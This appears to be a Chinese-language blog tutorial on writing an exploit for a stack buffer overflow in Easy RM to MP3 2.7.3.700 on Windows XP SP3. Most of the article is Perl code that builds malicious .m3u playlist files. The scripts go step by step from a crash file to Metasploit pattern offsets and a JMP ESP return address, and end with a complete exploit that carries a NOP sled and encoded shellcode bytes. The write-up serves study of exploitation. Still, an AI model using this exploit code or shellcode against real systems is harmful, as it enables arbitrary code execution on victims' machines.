<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213211505350.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213213613001.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201220161353741.png">
<meta property="article:published_time" content="2021-05-20T02:22:12.000Z">
<meta property="article:modified_time" content="2023-11-17T11:38:10.341Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="exploit编写">
<meta property="article:tag" content="溢出类型漏洞">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201210234341795.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
exploit编写系列1:Easy RM to MP3 漏洞调试 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">exploit编写系列1:Easy RM to MP3 漏洞调试</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-20 10:22:12</span>
<span class="mobile">2021-05-20 10:22:12</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:38:10</span>
<span class="mobile">2023-11-17 19:38:10</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/exploit%E7%BC%96%E5%86%99/">exploit编写</a>
</li>
<li>
| <a href="/tags/%E6%BA%A2%E5%87%BA%E7%B1%BB%E5%9E%8B%E6%BC%8F%E6%B4%9E/">溢出类型漏洞</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h1 id="Easy-RM-to-MP3-漏洞调试"><a href="#Easy-RM-to-MP3-漏洞调试" class="headerlink" title="Easy RM to MP3 漏洞调试"></a>Easy RM to MP3 漏洞调试</h1><h3 id="0X00前言"><a href="#0X00前言" class="headerlink" title="0X00 前言"></a>0X00 前言</h3><p>分析这个漏洞主要是为了学习怎么通过调试并编写溢出类型漏洞的EXP</p>
<h3 id="0X01分析环境"><a href="#0X01分析环境" class="headerlink" title="0X01 分析环境"></a>0X01 分析环境</h3><table>
<thead>
<tr>
<th>调试环境</th>
<th>版本</th>
</tr>
</thead>
<tbody><tr>
<td>系统版本</td>
<td>XP_sp3</td>
</tr>
<tr>
<td>Easy RM to MP3</td>
<td>2.7.3.700</td>
</tr>
<tr>
<td>windbg</td>
<td>6.12</td>
</tr>
</tbody></table>
<span id="more"></span>
<h3 id="0X02漏洞描述"><a href="#0X02漏洞描述" class="headerlink" title="0X02 漏洞描述"></a>0X02 漏洞描述</h3><p>这个漏洞是一个典型的溢出类型漏洞,在处理字符的时候没有对长度做限制,在读取到第25000~30000个字符的时候会导致返回地址被覆盖导致溢出</p>
<h3 id="0X03漏洞分析"><a href="#0X03漏洞分析" class="headerlink" title="0X03 漏洞分析"></a>0X03 漏洞分析</h3><p>编写perl脚本生成漏洞验证文件</p>
<pre><code class="perl">my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>打开cmd输入命令<code>windbg.exe -I</code>,将windbg设置为默认调试器。</p>
<p>用 Easy RM to MP3 打开perl脚本生成的”crash25000.m3u”</p>
<p>windbg会自动捕获异常附加调试</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201210234341795.png" class="" title="image-20201210234341795">
<p>可以看到 EIP 为42424242(BBBB),可以验证返回地址位于25000~30000之间。</p>
<p>我们下一步需要定位漏洞的具体位置:一般来说有两种方法:</p>
<ol>
<li>通过调试查看栈回溯查看堆栈的方式来确定溢出的位置。</li>
<li>将我们刚来写入字符“B”的位置填充为pattern字符串,观察程序崩溃时的 EIP来定位返回地址在缓冲区中的偏移。</li>
</ol>
<p>第二种方式无疑是比较简单方便的,我们就采用第二种方式来定位偏移。</p>
<p> 使用metasploit framework文件夹下tool文件夹中的pattern_create.rb工具来创建一个包含5000个字符的模型替换刚才的“B”字符。</p>
<p>kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_create.rb -l 5000</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211000614971.png" class="" title="image-20201211000614971">
<p>重新加载崩溃后可以看到 EIP 的值改变了</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211000800904.png" class="" title="image-20201211000800904">
<p>此时 EIP = 0x366a4235(小端字节序:35 42 6a 36 = 5Bj6)</p>
<p>再次使用 metasploit 的工具 pattern_offset.rb 来计算偏移值:</p>
<p>kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_offset.rb -q 5Bj6</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211004850534.png" class="" title="image-20201211004850534">
<p>偏移位置 = 25000 + 1067</p>
<p>接下来我们可以重新设计一下payload来验证我们计算的偏移是否正确:</p>
<pre><code class="perl">my $file= "eipcrash.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>然后用生成的 “eipcrash.m3u”再次触发崩溃</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211005529815.png" class="" title="image-20201211005529815">
<p>可以看到 EIP 已经被我们写入的四个字节的 “B”覆盖掉了,此时我们已经可以控制 EIP 了,接下来我们需要考虑一下怎么让EIP指向我们的shellcode,以及如何把shellcode放到被攻击的虚拟内存空间并让EIP指向它并执行。</p>
<p>现在栈视图如下:</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213165731693.png" class="" title="image-20201213165731693">
<p>当函数返回时”BBBB”被放入EIP中执行,我们可以想办法让EIP指向我们存放shellcode的地址。</p>
<p>重新设计一下我们的shellcode:</p>
<ol>
<li>写入26067个”A”</li>
<li>EIP”BBBB”</li>
<li>用模型字符串替换刚才填入的字符”C”,确定一下ESP指向的地址是不是我们刚才填入的”C”开头第一个字符的位置(根据结果来调整我们的shellcode)。</li>
</ol>
<p>修改perl脚本:</p>
<pre><code class="perl">my $file= "test_1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $espdata = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag";
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>断下来之后可以看到ESP是从第五个字符开始的</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213190656563.png" class="" title="image-20201213190656563">
<p>这样我们可以修改一下shellcode将我们的payload往后面放放</p>
<p>现在我们可以考虑编写真正的shellcode了:</p>
<ol>
<li>我们可以控制EIP</li>
<li>我们知道可以在哪里存放我们的shellcode</li>
<li>将EIP指向ESP即可</li>
</ol>
<p>但是有一个问题,现在地址ESP(0x000ffd38)包含了终止字符(null:00),如果我们直接使用这个地址的话执行到这个位置会引起中断从而达不到我们想要的效果</p>
<p>所以,需要换一种方法来让EIP指向我们的shellcode</p>
<p>我们可以选择在进程空间中找到一个<em>JMP ESP的地址(地址中不含00)</em>来帮助我们将EIP指向shellcode</p>
<p>jmp esp 的opcode是 ffe4,我们可以在加载的DLL里面搜索这个指令:s 019e0000 l 01ead000 ff e4</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213211505350.png" class="" title="image-20201213211505350">
<p>现在我们可以将EIP设置为0x01b9f23a,在进行测试一下,看看是否如我们所料能跳转进我们的shellcode中</p>
<pre><code class="perl">my $file= "test_2.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x01b9f23a);;
my $espdata = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag";
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>果然成功如我们所料,EIP成功的断在了0x000ffd39处,说明我们找到的JMP ESP是有效的</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213213613001.png" class="" title="image-20201213213613001">
<p>但是现在这个payload只是一堆字符,什么都做不了,接下来我们只需要将payload替换为真正有效的payload即可。</p>
<pre><code class="perl">my $file= "test4.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x01b9f23a); #overwrite EIP with call esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 25; #start shellcode with some NOPS
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>完成</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201220161353741.png" class="" title="image-20201220161353741">
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> exploit编写系列1:Easy RM to MP3 漏洞调试</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-20 10:22:12</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:38:10
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/20/exploit编写系列1-Easy-RM-to-MP3-漏洞调试/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/exploit%E7%BC%96%E5%86%99/">#exploit编写</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/%E6%BA%A2%E5%87%BA%E7%B1%BB%E5%9E%8B%E6%BC%8F%E6%B4%9E/">#溢出类型漏洞</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">exploit编写系列2:栈溢出,跳转至shellcode</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">CVE-2009-0927:PDF中的JS</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">exploit编写系列1:Easy RM to MP3 漏洞调试</div>
<ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95"><span class="nav-text">Easy RM to MP3 漏洞调试</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#0X00%E5%89%8D%E8%A8%80"><span class="nav-text">0X00 前言</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0X01%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83"><span class="nav-text">0X01 分析环境</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0X02%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0"><span class="nav-text">0X02 漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0X03%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90"><span class="nav-text">0X03 漏洞分析</span></a></li></ol></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
